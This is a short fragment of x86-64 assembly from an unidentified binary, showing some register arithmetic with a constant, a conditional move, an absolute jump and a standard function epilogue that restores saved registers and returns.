sub ecx, ebx
add ecx, 0x23ba923a
cmp r12d, esi
cmovne ecx, ebx
mov eax, ecx
jmp 0x140003cdb
xor eax, eax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret